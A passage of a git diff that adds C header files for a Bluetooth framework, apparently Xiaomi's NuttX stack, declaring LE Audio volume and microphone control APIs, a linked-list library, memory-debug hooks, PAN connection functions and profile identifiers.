(*lea_vmicp_volume_state_callback)(void* cookie, bt_address_t* addr, int volume, int mute); +typedef void (*lea_vmicp_volume_flags_callback)(void* cookie, bt_address_t* addr, int flags); +typedef void (*lea_vmicp_mic_state_callback)(void* cookie, bt_address_t* addr, int mute); + +typedef struct +{ + size_t size; + lea_vmicp_volume_state_callback volume_state_cb; + lea_vmicp_volume_flags_callback volume_flags_cb; + lea_vmicp_mic_state_callback mic_state_cb; +} lea_vmicp_callbacks_t; + +/** + * @brief Register LE Audio vmicp callback functions + * + * @param ins - bluetooth client instance. + * @param callbacks - LE Audio vmicp callback functions. + * @return void* - callback cookie. + */ +void* bt_lea_vmicp_register_callbacks(bt_instance_t* ins, const lea_vmicp_callbacks_t* callbacks); + +/** + * @brief Unregister LE Audio vmicp callback functions + * + * @param ins - bluetooth client instance. + * @param cookie - callback cookie. + * @return true - on unregister success. + * @return false - on callback cookie not found. + */ +bool bt_lea_vmicp_unregister_callbacks(bt_instance_t* ins, void* cookie); + +/** + * @brief Read volume state. Value is returned by + * #vmicp_volume_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_get_volume_state(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read volume flags. Value is returned by + * #vmicp_volume_flags_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_get_volume_flags(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Change volume. Value is returned by + * #vmicp_volume_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @param dir - up or down the volume + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_change_volume(bt_instance_t* ins, bt_address_t* addr, int dir); + +/** + * @brief Chnage and unmute volume. Value is returned by + * #vmicp_volume_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @param dir - up or down the volume + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_change_unmute_volume(bt_instance_t* ins, bt_address_t* addr, int dir); + +/** + * @brief Set absolute volume. Value is returned by + * #vmicp_volume_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @param vol - value of volume + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_set_volume(bt_instance_t* ins, bt_address_t* addr, int vol); + +/** + * @brief Set volume mute. Value is returned by + * #vmicp_volume_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @param mute - mute or unmute + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_set_volume_mute(bt_instance_t* ins, bt_address_t* addr, int mute); + +/** + * @brief Read mic state. Value is returned by + * #vmicp_mic_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_get_mic_state(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Set Mic mute. Value is returned by + * #vmicp_volume_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @param mute - mute or unmute + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vmicp_set_mic_mute(bt_instance_t* ins, bt_address_t* addr, int mute); + +#endif \ No newline at end of file diff --git a/framework/include/bt_lea_vmics.h b/framework/include/bt_lea_vmics.h new file mode 100644 index 0000000000000000000000000000000000000000..6894c4cf2655465b39ddd9785f866854cb80ed8f --- /dev/null +++ b/framework/include/bt_lea_vmics.h @@ -0,0 +1,88 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LEA_VMICS_H__ +#define __BT_LEA_VMICS_H__ + +#include <stddef.h> + +#include "bt_device.h" + +/** + * @brief LE Audio vmics test callback + * + * @param cookie - callback cookie. + */ +typedef void (*lea_vmics_test_callback)(void* cookie, int unused); + +typedef struct +{ + size_t size; + lea_vmics_test_callback test_cb; +} lea_vmics_callbacks_t; + +/** + * @brief Register LE Audio vmics callback functions + * + * @param ins - bluetooth client instance. + * @param callbacks - LE Audio vmics callback functions. + * @return void* - callback cookie. + */ +void* bt_lea_vmics_register_callbacks(bt_instance_t* ins, const lea_vmics_callbacks_t* callbacks); + +/** + * @brief Unregister LE Audio vmics callback functions + * + * @param ins - bluetooth client instance. + * @param cookie - callback cookie. + * @return true - on unregister success. + * @return false - on callback cookie not found. + */ +bool bt_lea_vmics_unregister_callbacks(bt_instance_t* ins, void* cookie); + +/** + * @brief Set Volume. Users use this function to tell the client the current value. + * @param ins - Bluetooth client instance. + * @param vol - Current Volume. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vcs_volume_set(bt_instance_t* ins, int vol); + +/** + * @brief Set Mute state. Users use this function to tell the client the current Mute state. + * @param ins - Bluetooth client instance. + * @param mute - Current Mute state(0:unmute, 1:mute). + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vcs_mute_set(bt_instance_t* ins, int mute); + +/** + * @brief Set Volume flag. Users use this function to tell the client the current Volume flag. + * # this is a optional function. + * @param ins - Bluetooth client instance. + * @param flags - Current Volume flag(0:reset, 1:setted). + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_vcs_volume_flags_set(bt_instance_t* ins, int flags); + +/** + * @brief Set Mic state. Users use this function to tell the client the current Mic state. + * @param ins - Bluetooth client instance. + * @param mute - Current Mic state(0:unmute, 1:mute, 2:disable). + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_mics_mute_set(bt_instance_t* ins, int mute); + +#endif \ No newline at end of file diff --git a/framework/include/bt_list.h b/framework/include/bt_list.h new file mode 100644 index 0000000000000000000000000000000000000000..246915408ab6740be575d6a446ecff8767f0ce2b --- /dev/null +++ b/framework/include/bt_list.h @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LIST_H__ +#define __BT_LIST_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdbool.h> +#include <stddef.h> + +#include "bt_list_internal.h" + +typedef void (*bt_list_free_cb_t)(void* data); +typedef struct _bt_list bt_list_t; +typedef struct _bt_list_node bt_list_node_t; +typedef void (*bt_list_iter_cb)(void* data, void* context); +typedef bool (*bt_list_find_cb)(void* data, void* context); + +bt_list_t* bt_list_new(bt_list_free_cb_t cb); +void bt_list_free(bt_list_t* list); +void bt_list_clear(bt_list_t* list); +bool bt_list_is_empty(bt_list_t* list); +size_t bt_list_length(bt_list_t* list); +bt_list_node_t* bt_list_head(bt_list_t* list); +bt_list_node_t* bt_list_tail(bt_list_t* list); +bt_list_node_t* bt_list_next(bt_list_t* list, bt_list_node_t* bt_node); +void* bt_list_node(bt_list_node_t* bt_node); +void bt_list_add_head(bt_list_t* list, void* data); +void bt_list_add_tail(bt_list_t* list, void* data); +void bt_list_remove_node(bt_list_t* list, bt_list_node_t* node); +void bt_list_remove(bt_list_t* list, void* data); +void bt_list_move(bt_list_t* src, bt_list_t* dst, void* data, bool move_to_head); +void bt_list_foreach(bt_list_t* list, bt_list_iter_cb cb, void* context); +void* bt_list_find(bt_list_t* list, bt_list_find_cb cb, void* context); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LIST_H__ */ diff --git a/framework/include/bt_list_internal.h b/framework/include/bt_list_internal.h new file mode 100644 index 0000000000000000000000000000000000000000..9696b4acfb3ec25df5841b85beb3fc35d357aabc --- /dev/null +++ b/framework/include/bt_list_internal.h @@ -0,0 +1,330 @@ +/**************************************************************************** + * include/nuttx/list.h + * + * Extracted from logic originally written by Travis Geiselbrecht and + * released under a public domain license. Re-released here under the 3- + * clause BSD license by Pinecone, Inc. + * + * Copyright (C) 2008 Travis Geiselbrecht. All rights reserved. + * Author: Travis Geiselbrecht <geist@foobox.com> + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ + +#ifndef __INCLUDE_NUTTX_LIST_H +#define __INCLUDE_NUTTX_LIST_H + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <stdbool.h> +#include <stddef.h> + +#define FAR +#define NEAR +#define DSEG +#define CODE + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define LIST_INITIAL_VALUE(list) \ + { \ + &(list), &(list) \ + } +#define LIST_INITIAL_CLEARED_VALUE \ + { \ + NULL, NULL \ + } + +#define list_in_list(item) ((item)->prev != NULL) +#define list_is_empty(list) ((list)->next == list) +#define list_is_clear(list) ((list)->next == NULL) +#define list_is_singular(list) ((list)->next == (list)->prev) + +#define list_initialize(list) \ + do { \ + FAR struct list_node* __list = (list); \ + __list->prev = __list->next = __list; \ + } while (0) + +#define list_clear_node(item) \ + do { \ + FAR struct list_node* __item = (item); \ + __item->prev = __item->next = NULL; \ + } while (0) + +#define list_peek_head(list) ((list)->next != (list) ? (list)->next : NULL) +#define list_peek_tail(list) ((list)->prev != (list) ? (list)->prev : NULL) + +#define list_prev(list, item) ((item)->prev != (list) ? (item)->prev : NULL) +#define list_prev_wrap(list, item) \ + ((item)->prev != (list) ? (item)->prev : (item)->prev->prev != (list) ? (item)->prev->prev \ + : NULL) + +#define list_next(list, item) ((item)->next != (list) ? (item)->next : NULL) +#define list_next_wrap(list, item) \ + ((item)->next != (list) ? (item)->next : (item)->next->next != (list) ? (item)->next->next \ + : NULL) + +#define list_entry(ptr, type, member) container_of(ptr, type, member) +#define list_first_entry(list, type, member) container_of((list)->next, type, member) +#define list_last_entry(list, type, member) container_of((list)->prev, type, member) +#define list_next_entry(list, type, member) container_of((list)->member.next, type, member) +#define list_prev_entry(list, type, member) container_of((list)->member.prev, type, member) + +#define list_add_after(entry, new_entry) list_add_head(entry, new_entry) +#define list_add_head(list, item) \ + do { \ + FAR struct list_node* __list = (list); \ + FAR struct list_node* __item = (item); \ + __item->next = __list->next; \ + __item->prev = __list; \ + __list->next->prev = __item; \ + __list->next = __item; \ + } while (0) + +#define list_add_before(entry, new_entry) list_add_tail(entry, new_entry) +#define list_add_tail(list, item) \ + do { \ + FAR struct list_node* __list = (list); \ + FAR struct list_node* __item = (item); \ + __item->prev = __list->prev; \ + __item->next = __list; \ + __list->prev->next = __item; \ + __list->prev = __item; \ + } while (0) + +#define list_delete(item) \ + do { \ + FAR struct list_node* __item = (item); \ + __item->next->prev = __item->prev; \ + __item->prev->next = __item->next; \ + __item->prev = __item->next = NULL; \ + } while (0) + +#define list_delete_init(item) \ + do { \ + list_delete(item); \ + list_initialize(item); \ + } while (0) + +#define list_merge(list_dst, list_src) \ + do { \ + (list_dst)->prev->next = (list_src)->next; \ + (list_src)->next->prev = (list_dst)->prev; \ + (list_src)->prev->next = (list_dst); \ + (list_dst)->prev = (list_src)->prev; \ + list_initialize(list_src); \ + } while (0) + +#define list_remove_head_type(list, type, member) \ + ({ \ + FAR struct list_node* __node = list_remove_head(list); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_remove_tail_type(list, type, member) \ + ({ \ + FAR struct list_node* __node = list_remove_tail(list); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_peek_head_type(list, type, member) \ + ({ \ + FAR struct list_node* __node = list_peek_head(list); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_peek_tail_type(list, type, member) \ + ({ \ + FAR struct list_node* __node = list_peek_tail(list); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_prev_type(list, item, type, member) \ + ({ \ + FAR struct list_node* __node = list_prev(list, item); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_prev_wrap_type(list, item, type, member) \ + ({ \ + FAR struct list_node* __node = list_prev_wrap(list, item); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_next_type(list, item, type, member) \ + ({ \ + FAR struct list_node* __node = list_next(list, item); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +#define list_next_wrap_type(list, item, type, member) \ + ({ \ + FAR struct list_node* __node = list_next_wrap(list, item); \ + FAR type* __t = NULL; \ + if (__node) { \ + __t = container_of(__node, type, member); \ + } \ + __t; \ + }) + +/* iterates over the list, node should be struct list_node* */ + +#define list_for_every(list, node) \ + for (node = (list)->next; node != (list); node = node->next) + +/* iterates over the list in a safe way for deletion of current node + * node and temp_node should be struct list_node* + */ + +#define list_for_every_safe(list, node, temp) \ + for (node = (list)->next, temp = node->next; \ + node != (list); node = temp, temp = node->next) + +/* iterates over the list, entry should be the container structure type */ + +#define list_for_every_entry(list, entry, type, member) \ + for (entry = container_of((list)->next, type, member); \ + &entry->member != (list); \ + entry = container_of(entry->member.next, type, member)) + +/* iterates over the list in a safe way for deletion of current node + * entry and temp_entry should be the container structure type * + */ + +#define list_for_every_entry_safe(list, entry, temp, type, member) \ + for (entry = container_of((list)->next, type, member), \ + temp = container_of(entry->member.next, type, member); \ + &entry->member != (list); entry = temp, \ + temp = container_of(temp->member.next, type, member)) + +/* Iterate from a given entry node in a safe way */ + +#define list_for_every_entry_safe_from(list, cur, temp, type, member) \ + for ((temp) = list_next_entry(cur, type, member); \ + &(cur)->member != (list); \ + (cur) = (temp), (temp) = list_next_entry(temp, type, member)) + +#define list_for_every_entry_continue(list, head, type, member) \ + for ((list) = list_next_entry(list, type, member); \ + &(list)->member != (head); \ + (list) = list_next_entry(list, type, member)) + +/* iterates over the list in reverse order, entry should be the container + * structure type + */ + +#define list_for_every_entry_reverse(list, entry, type, member) \ + for (entry = container_of((list)->prev, type, member); \ + &entry->member != (list); \ + entry = container_of(entry->member.prev, type, member)) + +/**************************************************************************** + * Public Type Definitions + ****************************************************************************/ + +struct list_node { + FAR struct list_node* prev; + FAR struct list_node* next; +}; + +/**************************************************************************** + * Inline Functions + ****************************************************************************/ + +static inline FAR struct list_node* +list_remove_head(FAR struct list_node* list) +{ + if (list->next != list) { + FAR struct list_node* item = list->next; + list_delete(item); + return item; + } else { + return NULL; + } +} + +static inline FAR struct list_node* +list_remove_tail(FAR struct list_node* list) +{ + if (list->prev != list) { + FAR struct list_node* item = list->prev; + list_delete(item); + return item; + } else { + return NULL; + } +} + +static inline size_t list_length(FAR struct list_node* list) +{ + FAR struct list_node* node = list; + size_t cnt = 0; + + list_for_every(list, node) + { + cnt++; + } + + return cnt; +} + +#endif /* __INCLUDE_NUTTX_LIST_H */ diff --git a/framework/include/bt_memory.h b/framework/include/bt_memory.h new file mode 100644 index 0000000000000000000000000000000000000000..c6d38442b5cdc2ec83d5334c74cc4193b6804231 --- /dev/null +++ b/framework/include/bt_memory.h @@ -0,0 +1,48 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_MEMORY_H_ +#define _BT_MEMORY_H_ + +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(CONFIG_BLUETOOTH_DEBUG_MEMORY) +void* bt_malloc_hook(size_t size, const char* file, int line); +void* bt_calloc_hook(size_t n, size_t size, const char* file, int line); +void bt_free_hook(void* ptr); +void bt_report_leak(void); + +#define bt_malloc(size) bt_malloc_hook(size, __FILE__, __LINE__) +#define bt_calloc(n, size) bt_calloc_hook(n, size, __FILE__, __LINE__) +#define bt_free(ptr) bt_free_hook(ptr) +#define bt_zalloc(size) bt_calloc(1, size) +#else +#define bt_malloc(size) malloc(size) +#define bt_calloc(n, size) calloc(n, size) +#define bt_free(ptr) free(ptr) +#define bt_zalloc(size) zalloc(size) +#endif // CONFIG_BLUETOOTH_DEBUG_MEMORY + +#ifdef __cplusplus +} +#endif + +#endif // _BT_MEMORY_H_ \ No newline at end of file diff --git a/framework/include/bt_pan.h b/framework/include/bt_pan.h new file mode 100644 index 0000000000000000000000000000000000000000..c5e6297832f626311e4c7206482b84854f34189b --- /dev/null +++ b/framework/include/bt_pan.h @@ -0,0 +1,260 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_PAN_H__ +#define __BT_PAN_H__ + +#include <stddef.h> + +#include "bluetooth.h" +#include "bt_device.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @cond + */ + +/** + * @brief PAN role type define. + * + */ +typedef enum { + /* None */ + PAN_ROLE_NONE = 0, + /* Network Access Points */ + PAN_ROLE_NAP, + /* PAN User */ + PAN_ROLE_PANU +} pan_role_t; + +/** + * @brief 'bt-pan' interface state. + * + */ +typedef enum { + /* Net up */ + PAN_STATE_ENABLED = 0, + /* Net down */ + PAN_STATE_DISABLED = 1 +} pan_netif_state_t; + +/** + * @endcond + */ + +/** + * @brief Callback for PAN connection state change. + * + * When the PAN connection state changes, this callback will be triggered to + * notify the cookie corresponding to the callback, the latest PAN connection + * state, the Bluetooth address of the peer device, and the roles of both + * devices in the PAN. + * + * @param cookie - Callbacks cookie, the return value of bt_pan_register_callbacks. + * @param state - PAN connection state + * @param bd_addr - The Bluetooth address of the peer device. + * @param local_role - Local device PAN role, reference type pan_role_t. + * @param remote_role - Remote device PAN role, reference type pan_role_t. + * + * **Example:** + * @code +void pan_connection_state_cb(void* cookie, profile_connection_state_t state, + bt_address_t* bd_addr, uint8_t local_role, + uint8_t remote_role) +{ + printf("pan_connection_state_cb, state: %d, bd_addr: %s, local_role: %d, remote_role: %d\n", + state, bd_addr->address, local_role, remote_role); +} + * @endcode + */ +typedef void (*pan_connection_state_callback)(void* cookie, profile_connection_state_t state, + bt_address_t* bd_addr, uint8_t local_role, + uint8_t remote_role); + +/** + * @brief Callback for PAN net interface (down/up) state change. + * + * When the PAN interface becomes up or down, this callback will be triggered + * to notify the Cookie corresponding to the callback, the latest status of + * the interface, the role of the local device in the PAN, and the interface + * name. + * + * @param cookie - Callbacks cookie, the return value of bt_pan_register_callbacks. + * @param state - Net interface state. + * @param local_role - Local device PAN role. + * @param ifname - Net interface name, default "bt-pan". + * + * **Example:** + * @code +void pan_netif_state_cb(void* cookie, pan_netif_state_t state, + int local_role, const char* ifname) +{ + printf("pan_netif_state_cb, state: %d, local_role: %d, ifname: %s\n", + state, local_role, ifname); +} + * @endcode + */ +typedef void (*pan_netif_state_callback)(void* cookie, pan_netif_state_t state, + int local_role, const char* ifname); + +/** + * @cond + */ + +/** + * @brief PAN event callbacks structure + * + */ +typedef struct { + size_t size; + pan_netif_state_callback netif_state_cb; + pan_connection_state_callback connection_state_cb; +} pan_callbacks_t; + +/** + * @endcond + */ + +/** + * @brief Register callback functions to PAN service. + * + * This function is used to register the callback for notifying PAN connection + * states and the callback for notifying PAN interface states to the PAN service. + * When the PAN service detects the corresponding event, it will notify the + * application through the registered callback function. After this function is + * called, it returns the cookie corresponding to the callback. + * + * @param ins - Bluetooth client instance. + * @param callbacks - PAN callback functions. + * @return void* - Callback cookie, NULL represents fail. + * + * **Example:** + * @code +void* pan_cookie; +const static pan_callbacks_t callbacks = { + .size = sizeof(pan_callbacks_t), + .netif_state_cb = pan_netif_state_cb, + .connection_state_cb = pan_connection_state_cb, +}; + +void app_init_pan(bt_instance_t* ins) +{ + pan_cookie = bt_pan_register_callbacks(ins, &callbacks); + if (!pan_cookie) + printf("register pan callbacks failed\n"); + else + printf("register pan callbacks success\n"); +} + * @endcode + */ +void* BTSYMBOLS(bt_pan_register_callbacks)(bt_instance_t* ins, const pan_callbacks_t* callbacks); + +/** + * @brief Unregister PAN callback functions. + * + * This function is used to unregister callbacks from the PAN service. The caller + * needs to provide the cookie corresponding to callbacks. + * + * @param ins - Bluetooth client instance. + * @param cookie - Callbacks cookie. + * @return true - on callback unregister success + * @return false - on callback cookie not found + * + * **Example:** + * @code +void app_deinit_pan(bt_instance_t* ins) +{ + bt_status_t status; + if (!pan_cookie) + return; + + status = bt_pan_unregister_callbacks(ins, pan_cookie); + if (status != BT_STATUS_SUCCESS) + printf("unregister pan callbacks failed\n"); + else + printf("unregister pan callbacks success\n"); +} + * @endcode + */ +bool BTSYMBOLS(bt_pan_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Connect to PAN device. + * + * This function is used to connect to a PAN device. The caller needs to provide + * the address of the peer device, the role of the local device, and the role of + * the peer device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param dst_role - Destination PAN role, reference type pan_role_t. + * Only support PANU connect to NAP server, dst_role must be PAN_ROLE_NAP. + * @param src_role - Source PAN role, reference type pan_role_t. + * Only support PANU connect to NAP server, src_role must be PAN_ROLE_PANU. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_connect_pan_device(bt_instance_t* ins) +{ + bt_status_t status; + bt_address_t addr = { + .addr = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}, + }; + + status = bt_pan_connect(ins, &addr, PAN_ROLE_NAP, PAN_ROLE_PANU); + if(status != BT_STATUS_SUCCESS) + printf("connect pan device failed\n"); + else + printf("connect pan device success\n"); +} + * @endcode + + */ +bt_status_t BTSYMBOLS(bt_pan_connect)(bt_instance_t* ins, bt_address_t* addr, uint8_t dst_role, uint8_t src_role); + +/** + * @brief Disconnect from PAN connection. + * + * This function is used to disconnect from a PAN device. The caller needs to + * provide the address of the peer device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_disconnect_pan_device(bt_instance_t* ins) +{ + bt_status_t status; + bt_address_t addr = { + .addr = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}, + }; + + status = bt_pan_disconnect(ins, &addr); + if(status != BT_STATUS_SUCCESS) + printf("disconnect pan device failed\n"); + else + printf("disconnect pan device success\n"); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_pan_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +#endif /* __BT_PAN_H__ */ \ No newline at end of file diff --git a/framework/include/bt_profile.h b/framework/include/bt_profile.h new file mode 100644 index 0000000000000000000000000000000000000000..6dde97314cacc627448710de4ae5e660e8539f15 --- /dev/null +++ b/framework/include/bt_profile.h @@ -0,0 +1,71 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_PROFILE_H__ +#define _BT_PROFILE_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#define PROFILE_A2DP_NAME "A2DP-Src" +#define PROFILE_A2DP_SINK_NAME "A2DP-Sink" +#define PROFILE_AVRCP_CT_NAME "AVRCP-CT" +#define PROFILE_AVRCP_TG_NAME "AVRCP-TG" +#define PROFILE_HFP_HF_NAME "HFP-HF" +#define PROFILE_HFP_AG_NAME "HFP-AG" +#define PROFILE_SPP_NAME "SPP" +#define PROFILE_HID_DEV_NAME "HID-DEV" +#define PROFILE_PANU_NAME "PANU" +#define PROFILE_GATTC_NAME "GATTC" +#define PROFILE_GATTS_NAME "GATTS" +#define PROFILE_MCS_NAME "MCS" +#define PROFILE_MCP_NAME "MCP" +#define PROFILE_TBS_NAME "TBS" +#define PROFILE_CCP_NAME "CCP" +#define PROFILE_VMICS_NAME "VMICS" +#define PROFILE_VMICP_NAME "VMICP" +#define PROFILE_LEA_CLIENT_NAME "LEA-CLIENT" +#define PROFILE_LEA_SERVER_NAME "LEA-SERVER" + +enum profile_id { + PROFILE_A2DP, + PROFILE_A2DP_SINK, + PROFILE_AVRCP_CT, + PROFILE_AVRCP_TG, + PROFILE_HFP_HF, + PROFILE_HFP_AG, + PROFILE_SPP, + PROFILE_HID_DEV, + PROFILE_PANU, + PROFILE_GATTC, + PROFILE_GATTS, + PROFILE_LEAUDIO_SERVER, + PROFILE_LEAUDIO_MCP, + PROFILE_LEAUDIO_CCP, + PROFILE_LEAUDIO_VMICS, + PROFILE_LEAUDIO_CLIENT, + PROFILE_LEAUDIO_MCS, + PROFILE_LEAUDIO_TBS, + PROFILE_LEAUDIO_VMICP, + PROFILE_UNKOWN, + PROFILE_MAX +}; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_PROFILE_H__ */ diff --git a/framework/include/bt_sched_trace.h b/framework/include/bt_sched_trace.h new file mode 100644 index 0000000000000000000000000000000000000000..59068434ef852d219eaf57ad21328b1312efcf2e --- /dev/null +++ b/framework/include/bt_sched_trace.h @@ -0,0 +1,45 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> + +#ifndef _BT_SCHED_TRACE_H_ +#define _BT_SCHED_TRACE_H_ + +#define MAX_TAG_LEN 16 + +typedef struct { + uint64_t start_ns; + char tag[MAX_TAG_LEN]; +} bt_timepoint_t; + +#ifdef CONFIG_BLUETOOTH_DEBUG_TRACE +void bt_note_start(void); +void bt_note_stop(void); +void bt_note_begin(const char* tag, bt_timepoint_t* point); +void bt_note_end(const char* tag, bt_timepoint_t* point); + +#define bt_trace_start() bt_note_start() +#define bt_trace_stop() bt_note_stop() +#define bt_trace_begin(tag, point) bt_note_begin(tag, point) +#define 